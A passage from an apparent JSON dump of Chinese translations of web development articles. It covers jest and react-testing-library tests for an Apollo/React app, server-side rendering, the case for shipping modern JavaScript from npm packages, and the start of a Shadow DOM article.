Phoenix 频道（和 Abisnthe 创建的默认频道一个名字），并将这个频道标记为连接（那样 Absinthe 会在连接时将它重新加入），接着重新连接套接字。在文件中，Phoenix 套接字被配置为在每次连接前动态的在 cookie 中查找令牌，那样每当它重联时，它将会使用新的认证状态。让我崩溃的是，对这样一个看着很普通的问题，却并没有一个好的解决方法，当然，通过一些手动的努力，它工作得还不错。\n\n最后，在我们的 `StateProvider` 中使用的 `useEffect` 是调用 `refreshSocket` 的地方。第二个参数 `[token]`告诉了 React 在每次 `token` 值变化时，去重新评估该函数。如果用户只是登出，我们也要执行 `client.clearStore()` 函数来确保 Apollo 客户端不会继续缓存包含着需要权限才能得到的数据的查询结果，比如说用户的对话或者消息。\n\n这就大概是客户端的全部了。你可以查看余下的[组件](https://github.com/schneidmaster/socializer/tree/master/client/src)来得到更多的关于 query，mutation 和 subscription 的例子，当然，它们的模式都和我们所提到的大体一致。\n\n## 测试 —— 客户端\n\n让我们来写一些测试，来覆盖我们的 React 代码。我们的应用内置了 [jest](https://jestjs.io)（create-react-app 默认包括它）；jest 是针对 JavaScript 的一个非常简单和直观的测试运行器。它也包括了一些高级功能，比如快照测试。我们将在我们的第一个测试案例里使用它。\n\n我非常喜欢使用 [react-testing-library](https://testing-library.com/react) 来写 React 的测试案例 —— 它提供了一个非常简单的 API，可以帮助你从一个用户的角度来渲染和测试表单（而无需在意组件的具体实现）。此外，它的帮助函数可以在一定程度上的帮助你确保组件的可读性，因为如果你的 DOM 节点很难访问，那么你也很难通过直接操控 DOM 节点来与之交互（例如给文本提供正确的标签等等）。\n\n我们首先开始为 `Loading` 组件写一个简单的测试。该组件只是渲染一些静态的 HTML，所以并没有什么逻辑需要测试；我们只是想确保 HTML 按照我们的预期来渲染。\n\n```javascript\n// client/src/components/Loading.test.js\nimport React from \"react\";\nimport { render } from \"react-testing-library\";\nimport Loading from \"./Loading\";\n\ndescribe(\"Loading\", () => {\n  it(\"renders correctly\", () => {\n    const { container } = render(<Loading />);\n    expect(container.firstChild).toMatchSnapshot();\n  });\n});\n```\n\n当你调用 `.toMatchSnapshot()` 时，jest 将会在 `__snapshots__/Loading.test.js.snap` 的相对路径下建立一个文件，来记录当前的状态。随后的测试会比较输出和我们所记录的快照（snapshot），如果与快照不匹配则测试失败。快照文件长这样：\n\n```javascript\n// client/src/components/__snapshots__/Loading.test.js.snap\n// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`Loading renders correctly 1`] = `\n<div\n  class=\"d-flex justify-content-center\"\n>\n  <div\n    class=\"spinner-border\"\n    role=\"status\"\n  >\n    <span\n      class=\"sr-only\"\n    >\n      Loading...\n    </span>\n  </div>\n</div>\n`;\n```\n\n在这个例子中，因为 HTML 永远不会改变，所以这个快照测试并不是那么有效 —— 当然它达到了确认该组件是否渲染成功没有任何错误的目的。在更高级的测试案例中，快照测试在确保组件只会在你想改变它的时候才会改变时非常的有效 —— 比如说，如果你在优化组件内的逻辑，但并不希望组件的输出改变时，一个快照测将会告诉你，你是否犯了错误。\n\n下一步，让我们一起来看一个对与 Apollo 连接的组件的测试。从这里开始，会变得有些复杂；组件会期待在它的上下文中有 Apollo 的客户端，我们需要模拟一个 query 查询语句来确保组件正确地处理响应。\n\n```javascript\n// client/src/components/Posts.test.js\nimport React from \"react\";\nimport { render, wait } from \"react-testing-library\";\nimport { MockedProvider } from \"react-apollo/test-utils\";\nimport { MemoryRouter } from \"react-router-dom\";\nimport tk from \"timekeeper\";\nimport { Subscriber } from \"containers\";\nimport { AuthContext } from \"util/context\";\nimport Posts, { GET_POSTS, POSTS_SUBSCRIPTION } from \"./Posts\";\n\njest.mock(\"containers/Subscriber\", () =>\n  jest.fn().mockImplementation(({ children }) => children),\n);\n\ndescribe(\"Posts\", () => {\n  beforeEach(() => {\n    tk.freeze(\"2019-04-20\");\n  });\n\n  afterEach(() => {\n    tk.reset();\n  });\n\n  // ...\n});\n```\n\n首先是一些导入和模拟。这里的模拟是避免 `Posts` 组件地 subscription 在我们所不希望地情况下被注册。在这里我很崩溃 —— Apollo 有关于有模拟 query 和 mutation 的文档，但是并没有很多关于模拟 subscription 文档，并且我还会经常遇到各种神秘的，内部的，十分难解决的问题。当我只是想要组件执行它初始的 query 查询时（而不是模拟收到来自它的 subscription 的更新），我完全没能想到一种可靠的方法来模拟 query 查询。\n\n但这确实也给了一个来讨论 jest 的好机会 —— 这样的案例非常有效。我有一个 `Subscriber` 组件，通常在装载（mount）时会调用 `subscribeToNew`，然后返回它的子组件：\n\n```javascript\n// client/src/containers/Subscriber.js\nimport { useEffect } from \"react\";\n\nconst Subscriber = ({ subscribeToNew, children }) => {\n  useEffect(() => {\n    subscribeToNew();\n  }, []);\n\n  return children;\n};\n\nexport default Subscriber;\n```\n\n所以，在我的测试中，我只需要模拟这个组件的实现来返回子组件，而无需真正地调用 `subscribeToNew`。\n\n最后，我是用了 `timekeeper` 来固定每一个测试案例的时间 —— `Posts` 根据帖子发布时间和当前时间（例如，两天以前）渲染了一些文本，那么我需要确保这个测试总是在“相同”的时间运行，否则快照测试就会因为时间推移而失败。\n\n```javascript\n// client/src/components/Posts.test.js\n// ...\n\ndescribe(\"Posts\", () => {\n  // ...\n\n  it(\"renders correctly when loading\", () => {\n    const { container } = render(\n      <MemoryRouter>\n        <AuthContext.Provider value={{}}>\n          <MockedProvider mocks={[]} addTypename={false}>\n            <Posts />\n          </MockedProvider>\n        </AuthContext.Provider>\n      </MemoryRouter>,\n    );\n    expect(container).toMatchSnapshot();\n  });\n\n  // ...\n});\n```\n\n我们的第一个测试检查了加载的状态。我们必须把它包裹在几个高阶函数里 —— `MemoryRouter`，给 React Router 的 `Link` 和 `Route` 提供了一个模拟的路由；`AuthContext.Provider`，提供了认证的状态，和 Apollo 的 `MockedProvider`。因为我们已拍了一个即时的快照并返回，我们事实上不需要模拟任何事情；一个即时的快照会在 Apollo 有机会执行 query 查询之前捕捉到加载的状态。\n\n```javascript\n// client/src/components/Posts.test.js\n// ...\n\ndescribe(\"Posts\", () => {\n  // ...\n\n  it(\"renders correctly when loaded\", async () => {\n    const mocks = [\n      {\n        request: {\n          query: GET_POSTS,\n        },\n        result: {\n          data: {\n            posts: [\n              {\n                id: 1,\n                body: \"Thoughts\",\n                insertedAt: \"2019-04-18T00:00:00\",\n                user: {\n                  id: 1,\n                  name: \"John Smith\",\n                  gravatarMd5: \"abc\",\n                },\n              },\n            ],\n          },\n        },\n      },\n    ];\n    const { container, getByText } = render(\n      <MemoryRouter>\n        <AuthContext.Provider value={{}}>\n          <MockedProvider mocks={mocks} addTypename={false}>\n            <Posts />\n          </MockedProvider>\n        </AuthContext.Provider>\n      </MemoryRouter>,\n    );\n    await wait(() => getByText(\"Thoughts\"));\n    expect(container).toMatchSnapshot();\n  });\n\n  // ...\n});\n```\n\n对于这个测试，我们希望一旦加载结束帖子被显示出来，就立刻快照。为了达到这个，我们必须让测试 `async`，然后使用 react-testing-library 的 `wait` 来 await 加载状态的结束。`wait(() => ...)` 将会简单的重试这个函数直到结果不再错误 —— 通常情况下不会超过 0.1 秒。一旦文本显现出来，我们就立刻对整个组件快照以确保那是我们所期待的结果。\n\n```javascript\n// client/src/components/Posts.test.js\n// ...\n\ndescribe(\"Posts\", () => {\n  // ...\n\n  it(\"renders correctly after created post\", async () => {\n    Subscriber.mockImplementation((props) => {\n      const { default: ActualSubscriber } = jest.requireActual(\n        \"containers/Subscriber\",\n      );\n      return <ActualSubscriber {...props} />;\n    });\n\n    const mocks = [\n      {\n        request: {\n          query: GET_POSTS,\n        },\n        result: {\n          data: {\n            posts: [\n              {\n                id: 1,\n                body: \"Thoughts\",\n                insertedAt: \"2019-04-18T00:00:00\",\n                user: {\n                  id: 1,\n                  name: \"John Smith\",\n                  gravatarMd5: \"abc\",\n                },\n              },\n            ],\n          },\n        },\n      },\n      {\n        request: {\n          query: POSTS_SUBSCRIPTION,\n        },\n        result: {\n          data: {\n            postCreated: {\n              id: 2,\n              body: \"Opinions\",\n              insertedAt: \"2019-04-19T00:00:00\",\n              user: {\n                id: 2,\n                name: \"Jane Thompson\",\n                gravatarMd5: \"def\",\n              },\n            },\n          },\n        },\n      },\n    ];\n    const { container, getByText } = render(\n      <MemoryRouter>\n        <AuthContext.Provider value={{}}>\n          <MockedProvider mocks={mocks} addTypename={false}>\n            <Posts />\n          </MockedProvider>\n        </AuthContext.Provider>\n      </MemoryRouter>,\n    );\n    await wait(() => getByText(\"Opinions\"));\n    expect(container).toMatchSnapshot();\n  });\n});\n```\n\n最后，我们将会来测试 subscription，来确保当组件收到一个新的帖子时，它能够按照所期待地结果进行正确地渲染。在这个测试案例中，我们需要更新 `Subscription` 的模拟，以便它实际地返回原始的实现，并为组件订阅所发生的变化（新建帖子）。我们同时模拟了一个叫 `POSTS_SUBSCRIPTION` 地查询来模拟 subscription 接收到一个新的帖子。最后，同上面的测试一样，我们等待查询语句的结束（并且新帖子的文本出现）并对 HTML 进行快照。\n\n以上就差不多是全部的内容了。jest 和 react-testing-library 都非常的强大，它们使我们对组件的测试变得简单。测试 Apollo 有一点点困难，但是通过明智地使用模拟数据，我们也能够写出一些非常完整的测试来测试所有主要组件的状态。\n\n## 服务器端渲染\n\n现在我们的客户端只有一个问题了 —— 所有的 HTML 都是在客户端被渲染的。从服务器返回的 HTML 只是一个空的 `index.html` 文件和一个 `<script>` 标签，所载入的 JavaScript 渲染了全部的内容。在开发模式下，这样可以，但这样对生产环境并不好 —— 例如说，很多的搜索引擎并不擅长运行 JavaScript 来根据客户端渲染的内容构建索引（index）。我们真正希望的是服务器能返回该页面的完全渲染的 HTML，然后 React 可以接管客户端，处理用户的加护的路由。\n\n这里，服务器端渲染（SSR）的概念被引入进来。本质上来说，相比于提供静态的 HTML 索引文件，我们将请求路由到 Node.js 服务器端。服务器渲染组件（解析对 GraphQL 端点的任何查询）并且返回输出的 HTML，和 `<script>` 标签来加载 JavaScript。当 JavaScript 在客户端加载，它会使用 `hydrate` 函数而不是从头开始渲染 —— 意味着它会保存已存在的，服务器端提供的 HTML 并将它和相匹配的 React 树联系起来。这种方法将允许搜索引擎简单的索引服务器渲染的 HTML，并且因为用户不再需要在页面可视之前等待 JavaScript 文件的下载，执行和进行查询，这也会为用户提供了一个更快的体验。\n\n不幸的是，我发现配置 SSR 真正的并没有一个通用的方法 —— 他们的基础是相同的（都是运行一个可以渲染组件的 Node.js 服务器）但是存在一些不同的实现，并且没有任何实现被标准化。我的应用的大部分的配置都来自于 [cra-ssr](https://github.com/cereallarceny/cra-ssr)，它为 create-react-app 搭建的应用用提供了非常易于理解的 SSR 的实现。因为 cra-ssr 的教程提供相当完善的介绍，我不会在这里做更加深入的剖析。我是想说，SSR 很棒并且使得应用加载的非常快，尽管实现它确实有点点困难。\n\n## 结论和收获\n\n感谢大家看到这里！这里内容超多，因为我想要真正地深入一个复杂的应用，来从头到尾地练习所有的技术，并且来解决一些在现实世界中真正遇到的问题。如果你已经读到这里了，希望你能对如何将这所有的技术用在一起有了一些不错的理解。你可以在 Github 上看到完整版的[代码](https://github.com/schneidmaster/socializer)。或者试用这个[在线演示](https://socializer-demo.herokuapp.com)。这个演示是部署在免费版的 Heroku dyno 上的，所以在你访问的时候，可能会需要 30 秒来唤醒服务器。如果你有任何问题，可以在演示下面的评论里留言，我会尽我的可能来回答。\n\n我部署的体验也充满了挫折和问题。有些是意料之中，包括一些新的框架和库的学习曲线 —— 但也有一些地方，如果有更好的文档和工具，可以节省我很多的时间，让我不那么头疼。特别是 Apollo，我在理解如果让 websocket 在认证变化后重新初始化它的连接上遇到了一大堆问题；通常情况下这些都应该在文档里写下来，但是显然我啥也找不到。相似的，我在测试 subscriptions 时也遇到很多问题，并且最终不得不放弃转而使用 mock 测试。测试的文档对于基本的测试来说是非常够的，但是我发现当我想要写更高级的测试案例时，文档太过于浅显。我怕也经常因为缺少 API 的文档而感到困惑，主要是 Apollo 和 Absinthe 客户端库的一部分文档。例如说，当我研究如果重置 websocket 连接时，我找不到任何 Absinthe socket 实例和 Apollo link 实例的文档。我唯一能做的就是把 GitHub 上面的源代码从头到尾读一遍。我使用 Apollo 的体验比起几年前使用 Relay 的体验要好很多 —— 但是下一次我使用它时，我不得不接受，如果我想要另辟蹊径的话，就需要花更多的时间来破解改造代码的事实。\n\n总而言之，我给这套技术栈很高的评分，而且我非常的喜欢这个项目。Elixir 和 Phoenix 用起来让人耳目一新；如果你来自 Rails，会有一些学习的曲线，但是我真的非常喜欢 Elixir 的一些语言特点，例如模式匹配和通道运算符（pipe operator）。Elixir 有很多新颖的想法（以及来许多来自函数式编程，经过实战考验的概念），让编写有意义的，好看的代码这件事变得十分简单。Absinthe 的使用就像是一阵春风拂面；它实现的很好，文档极佳，几乎涵盖了所有实现 GraphQL 服务器的合理用例，并且从总体上来说，我发现 GraphQL 的核心概念也被很好地传递。查询每一个页面我需要的数据十分简单，通过 subscription 实现实时地更新也非常容易。我一直都非常喜欢使用 React 和 React Router，这一次也不例外 —— 它们使得构建复杂，交互的前端用户界面变得简单。最后，我十分满意整体的结果 —— 作为一名用户，应用的加载和浏览非常快，所有的东西都是实时的所以可以一直保持同步。如果说对技术栈的终极衡量标准是用户的体验，那这个组合一定是一个巨大的成功。\n\n---\n\n- [Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md)\n- [Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md)\n\n---\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/enabling-modern-js-on-npm.md",
    "content": "> * 原文地址：[Enabling Modern JavaScript on npm](https://jasonformat.com/enabling-modern-js-on-npm/)\n> * 原文作者：[Jason Miller](https://jasonformat.com/author/developit/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/enabling-modern-js-on-npm.md](https://github.com/xitu/gold-miner/blob/master/TODO1/enabling-modern-js-on-npm.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[三月源](https://github.com/MarchYuanx)，[TiaossuP](https://github.com/TiaossuP)\n\n# 在 npm 上启用现代 JavaScript\n\n> 现代 JavaScript 语法让我们使用较少的代码做更多的事，然而我们传输给用户的 JavaScript，有多少是现代的呢？\n\n![](https://res.cloudinary.com/wedding-website/image/upload/v1559234852/code-screenshot_1_zkday3.jpg)\n\n过去的几年中我们一直在写现代 JavaScript（或者 [TypeScript](https://www.typescriptlang.org/)，它们在转译的过程中编译为 ES5。这样的做法让 JavaScript 的“最新技术”以比支持旧版浏览器时更快的速度向前发展。\n\n最近，开发者已经采用差分的打包技术，其中两个或者更多个不同的 JavaScript 文件集被生成到不同目标环境中。这个技术最通用的例子是[模块/非模块模式](https://philipwalton.com/articles/deploying-es2015-code-in-production-today/)，它利用原生 JS 模块（也被认为『ES 模块』）支持它的『切割 mustard』测试：支持模块的浏览器请求现代版 JavaScript（~[ES2017](https://www.ecma-international.org/ecma-262/8.0/index.html)），同时旧版浏览器请求更加厚重的可兼容和编译的传统代码 bundle。为这套浏览器们做编译，取决于它们支持的 JS 模块类型，通过 [@babel/preset-env](https://babeljs.io/docs/en/babel-preset-env) 中 [targets.esmodules](https://babeljs.io/docs/en/babel-preset-env#targetsesmodules) 选项可以相对简单直接地完成编译。同时 [Webpack](https://webpack.js.org/) 插件，就像 [babel-esm-plugin](https://github.com/prateekbh/babel-esm-plugin#readme) 可以轻松生成两个 JavaScript bundle。\n\n鉴于上述情况，所有博客文章和案例研究哪里展示了使用这种技术实现的卓越性能和 bundle 尺寸优势？事实证明，发送现代 JavaScript 代码需要的不仅仅是变更我们的转译目标。\n\n## 这不是我们的代码\n\n当前生成现代 bundle 与传统相对应 bundle 的解决方案仅仅关注于『业务代码』——— 我们写的应用程序代码。这些方法目前无法帮我们处理从 npm 安装的源码 ——— 这是一个问题，因为[一些代码](https://youtu.be/-xZHWK-vHbQ?t=2064)将安装类型的代码与编写类型代码的比例控制在 10:1 范围之内。尽管这个比例在每个工程内都明显不同，我们总能发现发给用户的 JavaScript 包含大量的安装类型的代码。即使回过头来看，也有明显的迹象表明生态系统倾向于安装现有模块，而非编写一次性使用模块。\n\n![](https://res.cloudinary.com/wedding-website/image/upload/v1559231502/authored_vs_installed_ev2szc.png)\n\n在许多方面，这代表了开源的胜利：开发人员能够在共享代码的共同价值上做转译，并在公共论坛里对需要解决的问题，协力合作出通用的解决方案。\n\n『我们从 npm 安装的依赖项在 2014 年停滞不前』\n\n事实证明，这个神奇的生态系统也是我们现代 JavaScript 拼图所缺失的最重要的部分：**我们从 npm 安装的依赖项在 2014 年停滞不前**。\n\n> “我们从 npm 安装的依赖项在 2014 年停滞不前”\n\n## 仅仅 JavaScript”\n\n我们发布到 npm 的模块都是『JavaScript』，但那是任何对均匀性抱有期待终将落空的地方。几乎全球的前端开发者使用来自 npm 的 JavaScript 时都期望 JavaScript 运行『在一个浏览器中』。鉴于我们需要支持各种浏览器，我们最终会遇到这种情况：模块需要支持其消费者所用浏览器的目标支持版本的最小公分母。这种可能性的产生意味着我们明确地依赖于 `node_modules` 中所有代码需是 ECMAScript 5。在一些不常见的情况下，开发人员使用 bolted-on 的方法来检测非 ES5 模块，并且把这些模块预处理成他们需要的输出目标（这里有个你不该使用的 [hacky 方法](https://gist.github.com/developit/081148d83348ebe9a1bc1ba0707e1bb8)）。作为一个社区，每个新版本 ECMAScript 的向后兼容性使我们在很大程度上忽略了它对我们应用程序的影响，尽管我们编码的语法与我们最喜欢的 npm 依赖包中的语法之间的差异越来越大。\n\n这就使得大家普遍认同：npm 模块在向仓库发布之前需要做模块转换。作者的发布过程一般包括把资源模块打包成多种格式：JS 模块、CommonJS 和 UMD。模块作者有时使用模块的 package.json 中的一组非官方字段来表示这些不同的 bundle，这个文件中 `\"module\"` 指向 `.mjs` 文件，`\"unpkg\"` 指向 UMD bundle，同时 `\"main\"` 仍被保留为引用一个 CommonJS 文件。\n\n```json\n{\n  \"main\": \"dist/es5-commonjs.js\",\n  \"module\": \"dist/es5-modules.mjs\",\n  \"unpkg\": \"dist/es5-umd.js\"\n}\n```\n\n所有这些格式仅影响到模块的接口 ——— 它的 import 和 export ——— 并且这形成了开发人员和工具之间的一个遗憾的共识：即使现代 JS 模块也应该被转译成库的最低支持版本。有人建议包作者可以在入口模块通过它们的 package.json 中 `module` 字段标识来开始启用现代 JavaScript 语法。遗憾的是，这种方法与如今的工具不兼容 ——— 尤其是，它与我们配置自己工具的方式不兼容。这些配置对每个工程都是不同的，由于工具本身并不需要改变，使得配置工程这件事本身就是一项繁复的任务。相反，修改需要放在每个应用程序的转译配置时。\n\n这些约束一直坚挺的原因很大程度上是由于像 webpack 和 Rollup 这种主流打包器对是否处理从 `node_modules` 引入的 JavaScript 这件事并没有默认操作。这些工具可以轻松地配置成与原创代码相同方式处理 `node_modules` 的代码，但是它们的文档[一贯建议](https://webpack.js.org/loaders/babel-loader/#usage) 开发者为 `node_modules` [关闭 Babel 转换](https://github.com/rollup/rollup-plugin-babel#usage)。尽管较慢的转译过程为最终用户产出更好的效果，但上述建议通常在提升转译性能时会被提及。这使得从 `node_modules` 引入的代码做任何语义上的修改都非常难以在生态系统中传播，因为这些工具实际上并不控制转换的内容和方式。这种变化控制位于应用程序的开发者手中，意味着问题是分散的。\n\n## 模块作者的观点\n\n我们最喜欢的 npm 模块的作者们也参与了讨论。目前，模块作者们最终被迫在发布到 npm 之前将包进行 JavaScript 转换的五个主要原因是：\n\n1. 我们知道应用开发者并没有转换 `node_modules` 中代码来匹配他们的支持目标。\n2. 我们不能依赖应用开发者来设置足够的代码压缩和优化。\n3. 库的大小必须以 bundled+minified+gzipped 操作之后的字节作为真实大小。\n4. 以 ECMAScript 5 发布的 npm 模块仍被广泛接受。。\n5. 对一个模块增加 JS 版本的要求意味着某些用户无法使用它。\n\n合在一起，这些原因使得一个流行模块的作者几乎不可能转为默认使用现代 JavaScript。把你自己放在一个模块作者的位置来看：在知道更新结果会破坏你大多数用户的转译或者生产部署的情况下，你会愿意发布仅有现代语法的模块吗？\n\nnpm 生态系统的当前状态以及无法将经典 JavaScript 与现代 JavaScript 分离的问题，都导致我们无法完全拥抱 JS 模块和 ES20xx。\n\n### Module authoring tools hurt, too\n\n就像应用打包器被设置为对 `node_modules` 没有默认操作，改变模块的创作形式也是一个遗憾的分布式问题。因为大多数模块作者倾向于根据不同的项目需求推出自己的转译工具，因此实际上没有一套规范工具可以进行更改。[Microbundle](https://github.com/developit/microbundle) 作为一种共享方案一直在获得关注，还有最近发布的具有相似优化格式功能的 [@pika/pack](https://www.pikapkg.com/blog/introducing-pika-pack/)，模块可以通过它发布到 npm。遗憾的是，这些工具在得以考虑广泛传播前仍需要走很长的一段路。\n\n假设可以影响到 Microbundle、Pika 和 Angular 的[库打包器](https://angular.io/cli/generate#library) 这样一组解决方案，或许可以使用流行模块作为示范来改变生态系统。如此规模的努力可能会遇到模块使用者的一些阻力，因为许多人还没有意识到他们的打包策略所产生的限制。然而，这些颠覆式的期望正是我们社区所需要的转变。\n\n## 期待\n\n这并不是所有的厄运和沮丧。尽管 Webpack 和 Rollup 只是通过它们的文档来鼓励未经处理的 npm 模块，Browserify 实际上在 `node_modules` 中默认[禁用了所有的转换](https://github.com/babel/babelify#why-arent-files-in-node_modules-being-transformed)。这意味着 Browserify 可以被修改用于自动生成现代/经典 bundle，而无需每一个应用开发者更改他们的转译配置。相似地，在 Webpack 和 Rollup 上转译的脚手架工具也提供一些集中地方，我们可以在这里进行更改，将现代 JS 引入 `node_modules`。我们在 [Next.js](https://nextjs.org/)、[Create React App](https://facebook.github.io/create-react-app/docs/getting-started), [Angular CLI](https://cli.angular.io/)、[Vue CLI](https://cli.vuejs.org/) 以及 [Preact CLI](https://github.com/developit/preact-cli) 中做这个变化，最终的转译配置将会使得相当一部分应用程序使用上述这些工具。\n\n绝大多数 JavaScript 应用的转译系统是一次性的或者为每个项目单独定制的，没有统一的中心位置可以修改它们。一个可被我们考虑的缓慢地将社区推向现代 JS-friendly 配置方法的选择是：使得当从 `node_modules` 导入的 JavaScript 资源未被处理时，修改后的 Webpack 对此显示警告。去年 Bable [宣布了一些新功能](https://babeljs.io/blog/2018/06/26/on-consuming-and-publishing-es2015+-packages)，允许在 `node_modules` 中做一些选择性地转换，同时 Create React App 工具最近开始使用保守配置来做转换 `node_modules`。同样，可以创建工具来检查我们打包的 JavaScript，看看它有多少是过度填充或低效的传统语法。\n\n## The last piece最后一块\n\n假设我们可以将自动化和指导服务转译到我们的工具中，这样做最终会将使用这些工具的成千上万（甚至是百万）个应用迁移到允许在 `node_modules` 中使用现代语法的配置上。为了使这个方法产生效果，我们需要提出一致的规范来指定他们现代 JS 资源的位置，并且在该上下文中对什么是『现代』达成共识。对于 3 年前发布的软件包，『现代』可能意味着 ES2015。对于一个现今发布的包，『现代』大概会包括 [class fields](https://developers.google.com/web/updates/2018/12/class-fields)、[BigInt](https://developers.google.com/web/updates/2018/05/bigint) 或者 [Dynamic Import](https://developers.google.com/web/updates/2017/11/dynamic-import) 吧？这很难说清楚，毕竟浏览器支持程度、各个规范所处阶段都各不相同。\n\n当我们考虑到对差分打包的影响时，这就变成了一个问题。对于那些不熟悉的人，差分打包指的是一种设置，它允许我们编写现代 JavaScript，然后针对不同环境转译单独的输出 bundle 套装。在最流行的用法中，针对较新浏览器我们有一套包含 ~ES2015 语法的 bundle，然后是针对所有其他浏览器的一套『传统』bundle，它们被转换成 ES5 并被填充。\n\n![图表显示了多个 JavaScript 源文件被打包进入单独的 JavaScript 文件集：一个用于现代浏览器，另一个用于其他所有浏览器。](https://res.cloudinary.com/wedding-website/image/upload/v1559231328/modern_legacy_transpile_qbvkdd.png)\n\n问题是：如果我们假设『现代』意味着『比 ES5 更新的东西』，则无法确定一个包中哪些语法应该做转换以满足给定的浏览器支持目标。我们可以通过为包创建一种表达它们所依赖的特定语法功能集的方法来定位上述问题，然而这仍需要维护大量不同的配置来控制每组输入到输出的语法对：\n\n| Package Syntax     | Output Target          | Example “Downleveling” Transformations                          |\n| ------------------ | ---------------------- | --------------------------------------------------------------- |\n| ES5\t               | ES5/nomodule           | none                                                            |\n| ES5\t               | `<script type=module>` | none                                                            |\n| ES2015(classes)    | ES5 / nomodule         | classes & tagged templates                                      |\n| ES2015(classes)    | `<script type=module>` | none                                                            |\n| ES2017(async/await)| ES5 / nomodule         | async/await, classes & tagged templates                         |\n| ES2017(async/await)| `<script type=module>` | none                                                            |\n| ES2019             | ES5 / nomodule         | rest/spread, for-await, async/await, classes & tagged templates |\n| ES2019             | `<script type=module>` | rest/spread & for-await                                         |\n\n## 你会怎么做？\n\n过度转换的 JavaScript 在我们发送给最终用户的代码中占比逐渐增加，影响了 Web 应用的初始加载时间和整体运行性能。我们相信这是一个需要解决的问题 ——— 一个需要模块作者**和**使用者达成一致的解决方案。问题空间相对较小，但是有许多具有独特约束条件的有趣部分。\n\n我们期待社区的帮助。您对在整个 JavaScript 开源生态系统中解决这个问题有何建议？我们期待收到您的回复，与您合作，并以可扩展的形式来帮助解决此问题，以便进行新的语法修订。在 Twitter 上与我们联系：[`_developit`](https://twitter.com/_developit)、[kristoferbaxter](https://twitter.com/kristoferbaxter) 和 [nomadtechie](https://twitter.com/nomadtechie) 都期待参与讨论。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/encapsulating-style-and-structure-with-shadow-dom.md",
    "content": "> * 原文地址：[Encapsulating Style and Structure with Shadow DOM](https://css-tricks.com/encapsulating-style-and-structure-with-shadow-dom/)\n> * 原文作者：[Caleb Williams](https://css-tricks.com/author/calebdwilliams/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[邪无神](https://github.com/undead25)、[Ziyin Feng](https://github.com/Fengziyin1234)\n\n# 使用 Shadow DOM 封装样式和结构\n\n该系列由 5 篇文章构成，对 Web Components 规范进行了讨论，这是其中的第四部分。在[第一部分](https://juejin.im/post/5c9a3cce5188252d9b3771ad)中，我们对于 Web Components 的规范和具体做的事情进行了全面的介绍。在[第二部分](https://juejin.im/post/5ca5b858e51d4524a918560f)中我们开始构建一个自定义的模态框，并且创建了 HTML 模版，这在[第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)中将演变为我们的自定义 HTML 元素。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板](https://juejin.im/post/5ca5b858e51d4524a918560f)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web Components 的高级工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components/.md)\n\n* * 